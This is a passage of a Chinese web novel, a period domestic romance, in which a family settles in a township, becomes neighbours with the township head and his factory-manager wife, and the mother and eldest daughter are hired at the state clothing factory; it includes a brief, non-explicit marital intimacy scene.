两人正聊着,谢晚棠听到傅青山在门口叫了声副镇长。 那位副镇长语气惊讶:“原来我们对门的邻居是你啊青山!” 说话间,那位副镇长帮着傅青山一起往里搬东西,进来对毕淑君道:“淑君,这是咱们镇武装部长兼派出所所长傅青山,跟你一样,也是部队转业回来的,年轻有为。” 谢晚棠一听,怪不得毕淑君看起来挺拔干练,有一种非常熟悉的气质,原来是跟傅青山一样,都是国家培养出来的人啊! 毕淑君跟傅青山握手:“青山是吧,没想到这么有缘分,我跟你爱人是同行,你和我们家天明也是同行。” 同为军人出身,又是邻居,瞬间拉近距离。 毕淑君也帮着一块往里搬,全程咔咔利落,指挥得副镇长团团转,副镇长也笑呵呵的,乐得被指挥的样子,谢晚棠在一旁看着,真是每对夫妻都有自己的相处模式啊! 搬牲畜的时候,谢晚棠问毕淑君:“毕厂长。” 毕淑君打断她:“在家叫姐。” 谢晚棠笑着点头:“毕姐,我从村里带来几只牲畜,都是孩子们从小养大的,有感情了,我放得离我家墙根近一点,经常打扫着,尽量不出味,您看行吗?” 城里不比农村,家家户户都养牲畜,毕竟是共用一个院子,谢晚棠怕邻居不喜欢牲畜的粪味,平白再弄出些矛盾来,低头不见抬头见的,那就不好了。 没想到一说,反倒引起了毕淑君的兴致,蹲在鸡笼鸭笼和狗窝面前端详起来,除了几只老母鸡和鸭子,谢晚棠还抓了几只小的一块养着,毛茸茸的小鸡小鸭可讨人喜欢了。 毕淑君伸手摸了摸小毛茸茸:“养吧养吧,家里养点活物热闹,我从小在城里长大,没机会养这些,转业回来工作又忙,更没时间了。” 谢晚棠心里的小石头终于落地,高兴道:“那太好了,毕姐,你以后可以云养小动物。” 毕淑君一听来了兴趣:“怎么个云养法?” 谢晚棠笑道:“就是不用当铲屎官,有空了就来我们家玩两下,既满足了喜好,又不怕没时间照顾。” 毕淑君听了哈哈大笑:“这个养法不错,适合我!” 她们国营服装厂不对口个人,都是对口镇里的工厂做大批量四季工装的,到了季节忙起来的时候,别说养牲畜了,两口子都是在单位凑活吃食堂。 大件差不多搬完,傅青山道:“付镇长,您回去歇歇吧,剩下这点我自己就弄了。” 傅青山搬鞋柜进屋的时候,谢晚棠跟进去,小声道:“你怎么一口一个副镇长的?就算人家是副镇长,你也不用特意强调是副职吧?” 感觉不太好哎。 傅青山皱眉,奇怪得看着她,半晌才反应过来,无奈道:“他姓付,人寸付,叫付天明,是大沟镇正镇长。” 谢晚棠:“……” 这个姓可真是…… 刚要无语,突然反应过来,她家男人也姓傅,谐音副…… 毕姐说的还真是,这也太有缘分了吧,连这尴尬的官场姓氏都这么有缘分→_→ 东西全卸完已经半头晌了,傅青山把衣柜缝纫机那些大件摆好后,谢晚棠和兰兰、小刚、妞妞一起归置杂七杂八的小东西。 傅青山安置好院里的牲畜,开始做饭。 红豆包是昨天就蒸好的,上锅热一下就行。 傅青山接上一盆水,六六坐着小板凳,在家门口帮着洗菜,盆里的胡萝卜、辣椒、大葱被他一双小手搓得干干净净,一点泥也没有,才放到旁边干净的盆里。 毕淑君出来晾衣裳的时候看着,回去跟付天明感慨:“青山跟小谢家的孩子可真懂事,最小的都能帮着干活了,长得也好看,又白又嫩乎。” 付天明正在切大白菜,闻声点头:“是呀,村里很少养出来这么白净的孩子。” 毕淑君叹了口气:“小谢看着还没我大的样子,居然都生了这么多孩子了。” 付天明知道她一直对没孩子这事有心结,安慰她:“除了这个最小的,剩下的都不是他们俩亲生的。” 毕淑君惊讶:“啊?那三个都不是亲生的?” 付天明:“不止那三个,还有一个去当兵了,一个上高中住校不在家,一共五个,都不是亲生的。” 付天明给毕淑君讲了傅青山领养了死去团长的五个孤儿,养了十多年,毕淑君听完,瞬间对傅青山佩服起来,对谢晚棠更佩服:“那小谢可真不容易,给五个孩子当后妈,我看着那几个孩子跟她还挺亲的。” 付天明:“对,他们家年年都是五好家庭呢。” 毕淑君对谢晚棠的好感又多上三分。 六六洗完菜交给爹爹,傅青山先切了大葱烫熟,虾皮也泡得差不多了,加盐、酱油、香油搅拌均匀,简简单单一盘鲜香的大葱虾皮就拌好了。 猪肉切丝,加点酱油和盐先腌着。 紫色也泡好了,打了两个蛋在碗里搅匀,把热透的红豆包端出来扣着保温,下锅做紫菜蛋花汤。 等紫菜蛋花汤做好,肉丝也腌好了,锅里油热了把肉丝先炒熟盛出来,然后把葱花蒜末下锅,加上黄豆酱炒出来香味,再放菜椒丝和胡萝卜翻炒几下,把炒熟的肉丝也倒进来,放醋、白糖、酱油,加上半碗水,吩咐六六火烧得旺一点。 六六坐在锅台前的小板凳上,比了个OK的手势:“得令!旺旺旺起来!” 大火收汁,一大盘嘎嘎香的鱼香肉丝就出锅了。 小刚拿着笤帚在扫地,家里都是飞起来的灰,傅青山就把饭桌搬到院里,把做好的饭都端出去,六六跟着拿碗筷,等饭桌都摆好,傅青山进去叫人:“棠棠,先吃饭吧,等着慢慢收拾。” 谢晚棠收拾得也有点头大了,她强迫症,必须一点一点归置得很整齐,这几天家里不知不觉都添置了好多东西,收拾了半上午,才弄好有1/3。 她点点头,叫兰兰和妞妞:“走,先洗手吃饭了,好香啊!我都饿了。” 小刚吸吸鼻子:“这个香味,肯定是鱼香肉丝!” 这道鱼香肉丝是孩子们在国营饭店吃过一次,没吃够,谢晚棠回来就研究着让傅青山做,没想到改进了几次之后,味道比国营饭店做的还绝,后来就成了家里最受孩子们欢迎的炒菜之一。 忙了一上午都饿了,大家坐在院里围着饭桌吃新家的第一顿饭,心情好,饭也香! 刚搬进来,家里都开着门窗透气,毕淑君叠衣服的时候闻着一股香味扑鼻,嗅嗅鼻子出来问付天明:“天明,你今天做的什么?” 付天明给她看大锅里的白菜豆腐粉条肉,毕淑君摇摇头,不是这个味。 毕淑君闻着味出了家门,就看到傅青山和谢晚棠一大家子,正在院里吃饭,满满当当一桌子,最中间摆了一盘冒着红油的鱼香肉丝,她刚才闻到的就是这个味! 毕淑君笑道:“你们这是去国营饭店买的鱼香肉丝?” 六六摇头解释:“不是的毕姨,这是我爹做的,他做的比国营饭店还好吃呢!” 说完六六就着红豆包,夹了一筷子鱼香肉丝入了嘴,露出满足的小神情,弄得毕淑君跟着下意识咽了下口水。 谢晚棠笑笑:“你们家做饭了吗?没做一起吃吧,青山做得多。” 毕淑君摆摆手:“不用不用,我们家老付也做好了,这就开饭了!” 毕淑君说着,赶紧转身回屋关上家门,太香了,再待下去她要忍不住了! 看着自家饭桌上寡淡的白菜豆腐粉条肉和馒头,毕淑君叹了口气,拿起筷子,没什么食欲,问付天明:“傅青山以前在部队不会是干炊事班的吧?” 她没尝,但就鱼香肉丝那色泽、那香味,闻着真是不比国营饭店的大厨差。 付天明被问得一愣:“不能吧?这么优秀的人,你们部队还能让去干炊事班?那也太屈才了!” 毕淑君:“天明,晚上再也改善改善伙食吧。” 鱼香肉丝不会做,那就炒个醋溜土豆丝吧!再来个韭菜盒子,是她的最爱! 付天明也闻着对门的饭香了,闻声点头:“没问题!” 吃过午饭,两个男人在院里一起刷碗,随口聊着镇上的工作,一高一矮,一冷一热,却莫名的和谐,因为都是居家的好男人。 睡起午觉,按照计划,谢晚棠和傅青山带着三个小的去学校报道。 先送小刚和妞妞去小学,两人一个五年级,一个四年级。 安置好两个小学生,又带六六去幼儿园,六六按照年龄应该分到中班了,但是老师一听他是村里来的,没上过小班,就打算给分到小班。 六六的个子随傅青山,在同龄小朋友里不算矮,一看小班里那些小鼻嘎,皱起眉头。 谢晚棠也有点看不下去,要是把六六放在这群小班生里,就像小鸡窝里扔进来一只鹅,怎么看怎么不得劲。 谢晚棠想了想:“老师,要不给我们家孩子做个入学考试?看水平给他分班?” 幼儿园老师有点嫌麻烦,而且感觉没必要,她们这最近来了几个村里的孩子,光长个大个子,啥都不会,考啥啊! 不过听园长说这个小朋友的爸爸是派出所所长,如今站在旁边冷着脸怪吓人,老师也不敢得罪,只得点头:“那好吧。” 不考不知道,一考吓一跳! 不光会写123456789,还会100以内的加减法! 不光会拼音,能识字,还会背唐诗,张口就来! 哪还需要纠结是小班还是中班,直接送大班去! 说实话,上大班都屈才了,一年级都绰绰有余呢! 把孩子都送到学校,两人回来的时候去买了排骨和种子,傅青山下午在家里把菜地弄起来,种上了点这个季节的菜,往后天越来越冷了,有时候不愿意出去买菜的时候,在家里摘点还方便。 又归置了半下午,谢晚棠到点先去接六六,然后带着六六再去接哥哥姐姐,一路上三个孩子叽叽喳喳,跟她分享学校里的新朋友新老师。 到家的时候,傅青山已经做好饭了,一个糖醋小排,还有一个地三鲜,用从老家里带来的土豆、茄子和辣椒做的。 晚上炒菜炒得都是油烟味,谢晚棠把窗户打开走走味,毕淑君刚好也开着窗,那糖醋排骨的香味一瓢进来,她嘴里土豆丝一下子就寡淡无味了,就连最爱的韭菜盒子都没那么香了…… 啊啊啊有个做饭好吃的邻居可太折磨人了!!! 晚上,毕淑君梦着隔壁小谢邀请她去吃饭,她婉拒后,小谢再三邀请,说不去就是看不起人,她就去了,结果小谢家的饭太好吃了,比国营饭店的还好吃!她撑得都打嗝了! 小谢还邀请她以后每天都来吃,说不要见外,她笑得合不拢嘴。 结果一觉醒来,啥也没有,只有对门鸡蛋手擀面的香味扑鼻…… 晚上下班毕淑君实在受不了了,去国营饭店打包了一份鱼香肉丝、一份糖醋排骨,回来的路上刚好碰上小谢接孩子回来。 小谢笑着问她:“姐,这是庆祝搬家,还是工作太忙了顾不上家里做饭了?” 毕淑君嗯嗯点头:“工作忙,也庆祝一下。” 其实现在秋装刚做完,冬装还没开始,正是服装厂的淡季。 是她的胃受不了了T-T 收拾了两天才把家里彻底收拾利索,看着板板正正的新家,谢晚棠心里终于舒坦了,晚上靠在傅青山怀里,随手捏着他腰间紧致的肌肉把玩:“二哥,付镇长和他爱人没孩子?” 住了两天了,谢晚棠发现对门邻居进进出出就俩人,大孩小孩都没见过。 傅青山点头:“嗯,镇长没孩子。” 谢晚棠好奇地抬头:“他们看起来年纪也不小了,难道是丁克?” 傅青山皱眉:“什么课?” 谢晚棠发现自己又说秃噜了嘴,轻咳一声:“就是,夫妻两个人都不想要孩子。” 傅青山:“不知道。” 夫妻两个人之间的事,只有夫妻两个人知道。 两人有一搭没一搭的聊着,傅青山呼吸越来越粗,伸手握住她的手,声音微哑:“棠棠,别摸了。” 感受到身旁人的体温以及身体的变化—— 谢晚棠:“……” 这都结婚七年了,不是都说夫妻间有七年之痒吗? 傅青山不仅没有七年之痒,反而还有七年之火,浴。火旺盛…… “二哥,你这腰怎么还连着下——唔……” 还没说完,傅青山低头,箍住她的腰肢,霸道地吻上她的唇。 静谧的空间里,荷尔蒙肆无忌惮地蔓延开来,傅青山像要把她揉进身体里一般,直到吻得她快要喘不过气来,霸道的吻才温柔下来,轻柔稀碎地在她的唇齿间交缠…… 七年的时光,傅青山早已深谙她身体的每一处开关,粗糙的指尖摩挲着她柔软细腻的侧腰,谢晚棠被勾起火来,双腿主动盼上男人劲瘦结实的腰,声音微哑又急切:“二哥……” 身上的男人深情地望着她的眼睛,指尖温柔地抚摸过她的眼尾,用她刚刚说过的话反问她:“棠棠,你这腰怎么也连着下——” 谢晚棠…… 时光荏苒,老男人也学坏了! 谢晚棠脸烫得要命,伸手一把揽过男人的脖颈,主动扬起下巴吻了上去,堵住男人那好看的薄唇。 第78章 我那是情趣! 激吻过后,谢晚棠松开傅青山的唇,眼神努力凶狠地威胁警告:“二哥,你学坏了!不许说哦!” 傅青山唇角上扬,指腹摩挲着她白嫩水润的脸颊:“棠棠不也说了?” 谢晚棠哼了声:“我说那是情趣!” 傅青山低笑:“那我说就是学坏?” 虽然听起来无理,但谢晚棠理直气壮:“对!” 谢晚棠抚摸着他薄薄皮肤下纹理分明的肌肉轮廓,越发燥热,催促他:“快点。” 傅青山深吸一口气:“我去拿套。” 今晚本来是休息日的,因为临时起意,并没有提前准备。 箭在弦上,谢晚棠犹豫了下,拉住他大臂:“不用也行,一次而已。” 自从生完六六,傅青山在戴套这件事上几乎严格到偏执的地步,说了不再要孩子,就严格地避孕,不让任何侥幸的可能性发生。 其实谢晚棠倒是感觉没必要这样,要是怀孕真这么容易,那21世纪生殖科就不会人满为患了。 不过傅青山还是坚持,必须下去找套。 看着男人急切翻找的背影,这宽阔的脊背、这劲瘦的腰肢、如顶配跑车般流畅的肌肉线条…… 谢晚棠扬起唇角,她的男人,不穿衣服的时候真好看。 虽然已年过三十,但岁月在他身上留下的只有深刻与成熟,并无半分中年男人的苍老与臃肿。 傅青山找到东西,转过来身来,就看到爱人色眯眯地看着自己,他欺身上来:“棠棠,你在想什么?” 谢晚棠回过神来,抿唇装无辜:“没想什么啊。” 老男人现在可学坏了,她要是承认在想他不穿衣服的时候好看,老男人肯定也要反用在她身上的…… 她才不傻呢! 傅青山闻声眯起眼睛,似要将她看穿一般,双手覆上她已经酥软的腰肢:“不诚实的小朋友,该怎么罚呢?” “我没有——” 傅青山言出必行,谢晚棠被“惩罚”得满脸潮红,颤栗着说不出话来。 …… 周日,供销社的售货员轮休,带着几个朋友来找谢晚棠做衣裳。 谢晚棠闻声出来招呼,其中一个居然还是六六的幼儿园老师。 六六一看到老师,主动上前打招呼:“王老师好!” 王老师也没想到,闺蜜夸得天花乱坠的巧裁缝居然是自己新转来的学生的妈妈,之前她还有点质疑闺蜜说的裁缝有没有那么厉害,如今一看是傅传刚小朋友的妈妈,质疑瞬间全消。 一个自己穿得优雅时尚又好看的裁缝,手艺怎么可能会差? 售货员也没想到:“竟然还是熟人!丽丽,这就是我之前跟你说的小谢,小谢,这是我闺蜜王丽丽。” 王老师摸摸六六的头,毫不吝啬地夸奖:“傅传刚小朋友虽然是班上最小的,但是学东西非常快,小朋友们也非常喜欢他!” 长得白净好看,穿得又干净立整,还聪明阳光开朗的小朋友,谁会不喜欢呢? 谢晚棠笑道:“都是王老师引导的好,六六去幼儿园这么短时间就能适应了!别站在院里了,大家快进来坐吧。” 这几年,服装行业几乎没有什么进步,兰兰后来去书店翻,都没找到什么新出版的书。 镇上比村里要开放许多,谢晚棠便不再用之前书里的板例,而是拿出自己这些年整理的设计图册,全是她自己一笔一划积累下来的灵感。 来的人虽然是在镇上工作的,但也只是穿的布料好点,至于衣服的款式,来来回回都是那些老样子,早就穿腻了,如今一见谢晚棠这么多好看的款,眼都花了。 一群人挑了半头晌,都快挑出强迫症来了,哪个都想要怎么办! 好不容易挑好了款式,兰兰帮着挨个量尺。 城里人不穿土布,其他的布料还没有实现市场自由,她们都是自己从供销社买的布料带来的,谢晚棠挣不到原材料的差价,但是城里收的手工费比村里高出3倍,做一件衣裳挣得甚至比以前赚差价还多。 定好了外衣,售货员又极力给大家推荐内衣:“去年小谢给我做的内衣,真的好穿!穿上衣裳型也好看!” 今天毕淑君也歇班,听着对门热闹得很,便来串门子,一进来就看到售货员小刘撩起衣裳展示自己。 毕淑君:“……小刘,你这干啥呢?” 售货员一见毕淑君,也是熟人:“哎呦毕厂长,你这服装厂的大厂长也来找咱们小谢做衣裳啊!” 毕淑君指了指身后:“我就住小谢对门。” 售货员给毕淑君展示谢晚棠之前给她做的内衣,啧啧赞美:“可舒服了!托着特得劲!” 毕淑君观察了一圈,尺寸版型非常贴合,伸手一摸,贴肤的布料也细腻,关键是这个设计很别出心裁。 真不错。 被售货员极力推荐,又用不了太多布料,就是5毛钱的手工费,大家都好奇地定上了一件,连毕淑君也要了一件。 量完尺,快到饭点了,大家付上手工费,约好了来拿衣裳的时间,都赶着回家做饭去了。 大家走后,毕淑君拿起炕上的一摞图册,虽然是做工装的国营厂,但毕竟是内行,毕淑君一看这摞图册就很专业。 之前小谢很谦虚,就说在老家农闲的时候给村里邻居们做点衣裳,她也以为就是随便做做。可刚才听小刘一说,她才知道,原来人家小谢之前在十里八村就是有名的裁缝,去找她给做衣裳的人络绎不绝。 作为大沟镇唯一的国营服装厂,只做款式最简单的工装,品类太单一,辐射面太窄,根本没有照顾到城镇居民的日常穿衣,老百姓平常穿衣裳就只能自己买布找裁缝做。 看着谢晚棠的这一摞时尚新颖的图册,毕淑君心里突然冒出来一个想法,她想对国营服装厂进行一次大刀阔斧地改革。 不过谨慎起见,光看还是不行,她要亲自穿过谢晚棠设计的内衣,试过谢晚棠的真正水平,再做决定。 这几年,谢晚棠把内衣都放手给兰兰做了,兰兰有天赋又好学,做得也越来越好,还改进了几个小地方。 搬家的时候搬了两台缝纫机出来,她和兰兰一人一台,给傅大嫂和老三媳妇她们留了三台。 吃过午饭,傅青山去派出所加班,谢晚棠做外衣,兰兰做内衣,妞妞和小刚在屋里写作业,一家人努力适应着崭新的城镇生活。 别人的内衣都要跟外衣一起拿,不急,兰兰下午就先给毕淑君做好了,晚饭前叫她过来试。 毕淑君一试才知道,为什么上午小刘那么强推这个小小内衣,裁剪角度真的太舒服了! 在这个农村还穿肚兜的年代,镇上的女性倒是会做对襟的小内衣穿,她自己做过,去裁缝铺也做过,还没有穿过这么舒服合身的! 谢晚棠还是有点真本事在身上的。 毕淑君高兴,一细聊才发现,原来做内衣都不用谢晚棠出手,她的大闺女兰兰独立就能做了! 毕淑君惊讶,拉着兰兰的手问:“兰兰有多大了?” 兰兰笑道:“毕姨,我19了。” 毕淑君问她:“你跟你娘学得这么好,愿不愿意来国营服装厂上班?你这手艺,不用从临时工开始干,我给你破格,直接干正式工,工资一个月45,好好干以后干到班长工资还能提。” 兰兰闻声震惊,以前都是听说城里找工作难,没想到工作还能主动找上门来? 她一下子没了主意,下意识去看谢晚棠。 谢晚棠也没想到,毕淑君会突然对兰兰抛出橄榄枝。 虽然现在工人很受尊重,但毕竟是死工资,而且再过个十年八年就要面临大批下岗潮,所以谢晚棠本身对进厂工作没什么太大兴趣。 但兰兰在适婚年龄,如果能有一份当下时代体面的正式工作,那肯定是加分的。 虽然她计划带着兰兰单干,但现在毕竟还是计划经济时代,有诸多不便,国家真正开放私营经济体制也得等到1984年。 权衡之下,谢晚棠笑笑:“毕姨愿意给你这么好的机会,还不快谢谢她。” 兰兰还懵着,下意识听谢晚棠的话,对毕淑君表示感谢。 直到她骑上车子出门买菜买肉,还不敢相信,居然就这么获得了一份国营服装厂的正式工作?小姑不是说进厂当个临时家属工都很难吗? 兰兰走后,谢晚棠一边裁着衣裳,一边和毕淑君聊天。 毕淑君看似在闲聊,实际一直看着谢晚棠手上的一行一动,可以说是非常专业的手法,尤其是袖窝的几处裁剪,非常见功夫。 毕淑君好奇:“小谢,你这做衣裳学过?” 比厂里的技术员强太多了。 谢晚棠闻声手上顿了下,随即笑道:“看过一些书,学过基础的裁剪,其他的就是自己喜欢。” 不仅优秀,还谦虚。 不像厂里的技术员老张,设计不出来什么好看衣裳,年年那老三样,还拽得要命。 毕淑君对这个好看又手巧的邻居越看越喜欢,今天第二次抛出橄榄枝:“小谢,你来我们厂当技术员吧!工资比车间高,一个月70。” 谢晚棠也没想到毕淑君一下子给他们家送来两份工资,而且每月70块的工资真的很高了,毕竟傅青山兼任着派出所所长,现在一个月才发100块。 但谢晚棠犹豫了下,还是婉拒道:“谢谢毕姐对我的信任,我真的很高兴,但是我这个人自由惯了,更喜欢设计一些各式的新潮时装,我知道咱们国营服装厂是做工装的,虽然有点大言不惭,但我确实不太喜欢做这种一成不变的事。” 毕淑君本来也不是招谢晚棠来做工装的,那也太屈才了,而且看她这么有自己的追求,连高工资都不能打破她的底线,毕淑君便更认可她对时装设计的热爱。 毕淑君嗐了声:“那有什么难?” 谢晚棠不明白。 毕淑君解释道:“国营服装厂不是不能做时装,是因为没有设计时装的技术员啊!” 她出去参观考察的时候,北京上海那边的国营服装厂,早就开始设计生产时装了,直接在当地的供销社卖,销路根本不愁,给厂子创收很多。 毕淑君当场拍板:“小谢,只要你愿意来,我就单独给你开一个时装部,你想怎么设计怎么弄,全凭你说了算。” 谢晚棠有些犹豫,这确实不是她本来的计划,她原本想在镇上慢慢积累客户、积累设计,待国家完全放开私营,她就成立自己的时装品牌店。 毕淑君适时抛出优越条件:“以后我去北京上海出差学习都带着你,咱们大沟镇毕竟是小地方,北京上海才是时装的前沿,你就不想出去看看?” 毕淑君抛出的条件确实诱惑极大,虽然谢晚棠靠自己也能一步一步起来,但目前来说,如果能进国营服装厂做技术员,就能有一个更高更开阔的平台,见识更多,也试验更多,为以后自己打江山积累经验。 谢晚棠权衡之后,笑道:“毕姐给了这么好的条件,我想我实在是没有拒绝的理由,那我一定好好干,不让毕姐失望!” 接手这个国营服装厂十年了,一直不温不火,如今有可以大干一场的机会,毕淑君比谢晚棠还高兴,跟谢晚棠约好明天一早一起去上班。 兰兰买上菜,一路充满斗志地骑到黑市,敲门找罗淮。 罗淮早已不是六年前的小学徒,如今的他已经是这家地下养猪场的顶梁柱,大股东之一。 把自行车推进院里放好,两人顺着没人的小路溜达,兰兰高兴地把要去国营服装厂上班的事告诉罗淮。 罗淮为她高兴:“这么好,那肯定是毕厂长觉得你衣服做得好,欣赏你才会让你破格直接从正式工开始做。” 兰兰扬起唇角:“都是我娘这么多年耐心教我,我才能有机会获得这份工作。” 这份工作实在是突如其来的惊喜,兰兰今天太高兴了,拉着罗淮的手:“你打算什么时候来我们家见我爹娘?” 她现在已经有了可以养活自己的工作,过了年她就20岁了,也到了可以结婚的年龄,和罗淮这么多年的了解,她觉得是时候带罗淮回去让爹娘知道这件事了。 罗淮闻声顿住脚步,指尖攥了攥,眉头微皱。 他干这个行当虽然挣钱,但实在不是什么光彩的事。 原本他计划攒够了回村盖大房子的钱,就洗手不干了,去上门提亲。 但他的钱攒够了,兰兰一家却搬进了城里,而且兰兰还有了一份城里的工作,那自然不能再跟着他回村里生活。 可他是没有资格在城里买房子的。 她的父亲是派出所所长,而他是个黑市贩子。 她有了一份体面的工作,而他干的事却永远不能见光。 他为兰兰的生活越来越好高兴,但他也越来越感觉自己配不上她,他们越走越远,就像太阳与黑夜的组合,看不到未来。 六年的相处,兰兰不怀疑罗淮对她的心意。 一个男人,从表明心意的那一刻起,每个月都把挣的一半的钱塞给你,如果这不算真心,那什么还算真心呢。 兰兰握着他的手,仰头看他:“罗淮,你放心,我爹娘不是你想的那种人。” 看着自己的小太阳皱眉,罗淮心里说不出什么滋味,努力调整好情绪,摸了摸她的头:“好,再给我点时间,好吗?” 有问题的不是她的父母,而是他自己。 他自己内心的自卑。 兰兰想了想,点头:“好,我等你。” 晚上吃饭的时候,谢晚棠跟傅青山说了她和兰兰要去国营服装厂上班的事,傅青山有些惊讶,他在镇上工作这么多年,自然知道国营工厂有多不好进,能直接进去当正式工和技术员,这是对她们优秀的认可。 谢晚棠突然想到一个问题:“唯一的问题就是不能按时去接孩子了。” 学校放学的时候比工厂下班要早。 三个小的一听,马上举双手支持。 小刚:“我和妞妞放学去接着六六就行,娘和姐姐就放心上班!” 妞妞:“对!” 六六:“我乖乖在学校等哥哥姐姐。” 傅青山也道:“他们不是小孩子了,学校离着家也近,不用担心。” 如果在21世纪,谢晚棠是万万不敢的,不过这个年代民风淳朴,倒是没听说过有偷孩子的事,也就放下心来。 因为明天是谢晚棠第一天上班,晚上傅青山也很有数,释放过一次后就收敛,不想让谢晚棠第一天就没精神。 翌日,傅青山早早起来活上面,怕吵醒谢晚棠和孩子们,把菜板端到院子里剁肉馅。 付天明起来洗脸的时候,看到傅青山已经在院里包馄饨了,那么高大威武的男人带着围裙,那双大手在外能一掌能砍晕犯罪分子,在家也能拿捏了这小小馄饨。 而且,馄饨这么麻*烦的东西,也可以在家自己包吗??? 他和淑君只在国营饭店吃过。 傅青山闻声抬头:“付镇长,早。” 付天明点头,好奇地走过来看:“青山,你这也太厉害了,还会包馄饨。” 在村里,关系要好的,做了什么好吃的,都会互相送一碗。 不过城里没这个习惯,可看付镇长一直在旁边看着,也不去做饭,他犹豫片刻,尝试着邀请了下:“要不要一块吃,今天面活多了。” 付天明闻声惊喜:“是吗!那可太好了!” 他正愁着早饭怎么办呢,自从住在傅青山对门,淑君的口味被刺激得越来越挑剔了,他怎么做,永远都被傅青山的饭香味踩在脚下蹂躏,真是太难了…… 付天明高兴地回去叫毕淑君,跟她说了这个好消息,毕淑君直夸他厉害,嘱咐她等着也跟对面送点好吃的。 早上,两家人一起围在院子里吃饭,鲜香可口的小馄饨放的肉比国营饭店还多,皮薄馅大,毕淑君吃了足足两大碗,满足地打了个饱嗝。 爽! 连周一去上班都不觉得愁了! 到了单位,毕淑君先带着谢晚棠去了技术部。 说是技术部,其实整个部门就两个人,一个老张,一个小张,还是父女俩,一大早就在泡茶水,看起来像个养老部门。 一听说谢晚棠是新来的技术员,还是正式工,老张撇嘴,她闺女还是家属工没转正呢,谢晚棠来了技术部,那就多占了一个正式工的名额,肯定会耽误他闺女转正,毕竟一个养老部门,根本不缺人。 毕淑君直接把技术部分成两个部分的计划说了:“以后你和小张负责工装部,小谢负责时装部。” 老张闻声皱眉:“时装部?咱厂可从来没弄过,小谢这么年轻,能行吗?” 毕淑君心里翻白眼,你倒是年纪大,你行吗? 毕淑君:“不能因为没弄过就不弄了,万事都有从0到1的过程,年轻人怎么了,年轻人的干劲和魄力是最值得我们学习的。” 几句话堵得老张没话说,安排好办公桌,毕淑君又带着谢晚棠去生产部参观,正好给兰兰安排工作。 班长毕恭毕敬地跟在毕淑君旁边,介绍着最近的生产进度。 傅青宁早晨一来就开始忙着剪线头,听到旁边人说厂长来了,正想着怎么能在厂长面前表现一下,混个脸熟,争取个早日转正的机会,抬头就见谢晚棠穿得优雅又体面,像只美丽的白天鹅,跟在厂长身边,旁边还跟着兰兰。 想来国营服装厂当家属工可不是那么容易的,难道是二哥给她走了关系? 正奇怪呢,接着就听见厂长指着谢晚棠跟班长说:“这是咱们厂新来的技术员,谢晚棠。” 接着,傅青宁就看到平时对她们颐指气使的班长毕恭毕敬地对谢晚棠赔笑脸:“谢工好!” 傅青宁……?? 技术员?! 第79章 那今晚我们正常做。 单位里谁不知道技术员是好差使啊,天天坐在办公室喝茶水就行了,就连她们班长都想去呢! 可技术部不缺人,技术部的老张把自己的闺女小张弄进技术部,就是准备接他的班,别人根本没机会。 傅青宁正想着呢,就听见厂长又对班长道:“这是赵兰兰的,新来的大工,干活很麻利,你给安排一下。” 傅青宁……???? 赵兰兰居然也给塞进来了?! 还上来就干大工? 赵兰兰是在村里跟着谢晚棠做了几年衣裳,但就是个跟着谢晚棠打下手的,也能干了大工? 而且刚进厂的家属工,哪个不是从小工开始干起? 凭什么这母女俩一来就干技术员和大工这样的好位置,肯定是二哥给她们塞了钱了! 这段时间算是淡季,车间不那么忙,但再过一个月就得开始做冬装了,赶效率的时候,车间最缺的就是好的大工,不过班长看着厂长带来的这位赵兰兰,有点年轻啊! 够呛能挑起大梁。 不过毕竟是厂长带来的人,她也不好说什么,就先给赵兰兰安排了一台闲置的旧缝纫机干干看,找了个熟练工教她带她。 参观完车间,谢晚棠回到办公室,父女俩的桌子对着,位置也很好,靠近窗户,采光明亮,一个喝茶水,一个织毛衣。 见她进来,小张警惕地坐直,老张一脸不屑,悠哉地翻了一页报纸,继续看。 谢晚棠无所谓父女俩是否抱团一致对外,她的目标也不在这父女俩身上,收拾干净桌子,坐下开始列计划。 作为大沟镇唯一的国营服装厂,应该辐射到镇上人民穿衣的方方面面,大类上分成四类:女装、男装、童装、婚庆装。 目前技术部就她一个人,完全从0开始,一口吃不下个胖子,这个月,她打算把主要精力先放在女冬装的设计上,赶在入冬前出来样板,先上生产线一批。 小张看着谢晚棠进来就开始坐下写写画画,除了起来倒了两次水,头都没抬过,慢慢便放松下来,继续悠哉地织自己的毛衣。 工装做起来比定制私装要简单多了,兰兰跟着带她的师傅看了一遍就明白了,上手就能直接做成品了。 她的师傅姓江,叫江彩霞,是个30多岁的年轻妇女。 本来分给她一个这么年轻的关系户徒弟,她还有点犯愁,毕竟是厂长带来的人,话说重了她得罪人,教不好班长又得甩脸子。 难干。 可没想到这小姑娘看着年轻,话也不多,但就是有灵气,怪不得能厂长能直接招来干大工呢,这样的要是从小工开始干起,那真是太屈才了! 班长钱小凤过来转的时候,江彩霞就忍不住跟她夸赵兰兰:“班长,厂长说得真没错,小赵干活是真麻利,一点就通!我就带了一遍,她就做得有模有样了!” 钱班长也没想到小姑娘能挑起来,拿起来赵兰兰刚刚做好的成品正反挨个面看了看,真是不错! 她们车间就需要这样的人! 钱班长拍拍兰兰肩膀:“不错,小赵是吧,好好干!” 兰兰点头:“是,班长。” 兰兰不仅学得快,而且干活麻利,哪怕用着旧机器,手上也一点不比旁边的老员工慢。 这年头的国营服装厂是死工资,不计件,反正就这么多活,每天的批量干完为止,多一个人分担,其他人也就多轻快一分。 这些大工大部分都是40多岁的中年妇女,兰兰长得乖乖巧巧的,年纪又小,几乎是她们闺女的年纪了,不仅没有拖后腿,还小小年纪就能当顶梁柱用,很快就得到了大工们的喜欢。 傅青宁看着那群大工和赵兰兰说说笑笑就来气,凭什么她一来就如鱼得水,便撺掇身边几个一同干家属工的:“咱们厂的家属工进厂不都得从小工开始干吗?怎么赵兰兰就能直接干大工?” 她这一挑拨,旁边几个干了半年多还没转正的家属工撇撇嘴:“肯定有关系呗!” “就是,没关系厂长能亲自领来?” “凭什么咱辛辛苦苦剪线头缝扣子,她一来就能跑缝纫机啊!” 傅青宁拿着手里赵兰兰负责的款啧了声:“我看她做得也就一般,线头这么多,有关系真好啊。” 家属工里有个干得时间最长的闻声哼了声:“我就看不得她那么自在,给我,我去会会她,看看她到底有什么硬关系。” 说着拿过傅青宁手里还没开始剪线头的衣裳,直接起来奔赵兰兰去了。 兰兰正在专心跑领子,一件工夫直接甩在她缝纫机台面上,她停住踏板,偏头抬眸,就看到一个颧骨高耸的中年妇女不屑地看着她,指了指台面上的工服:“小赵,你这干活干得也太粗拉了,满身的线头子,让我们怎么剪!” 兰兰拿起工服看了看,她就是按着师傅教的做的,想了想,她解释道:“好,后面的我注意。” 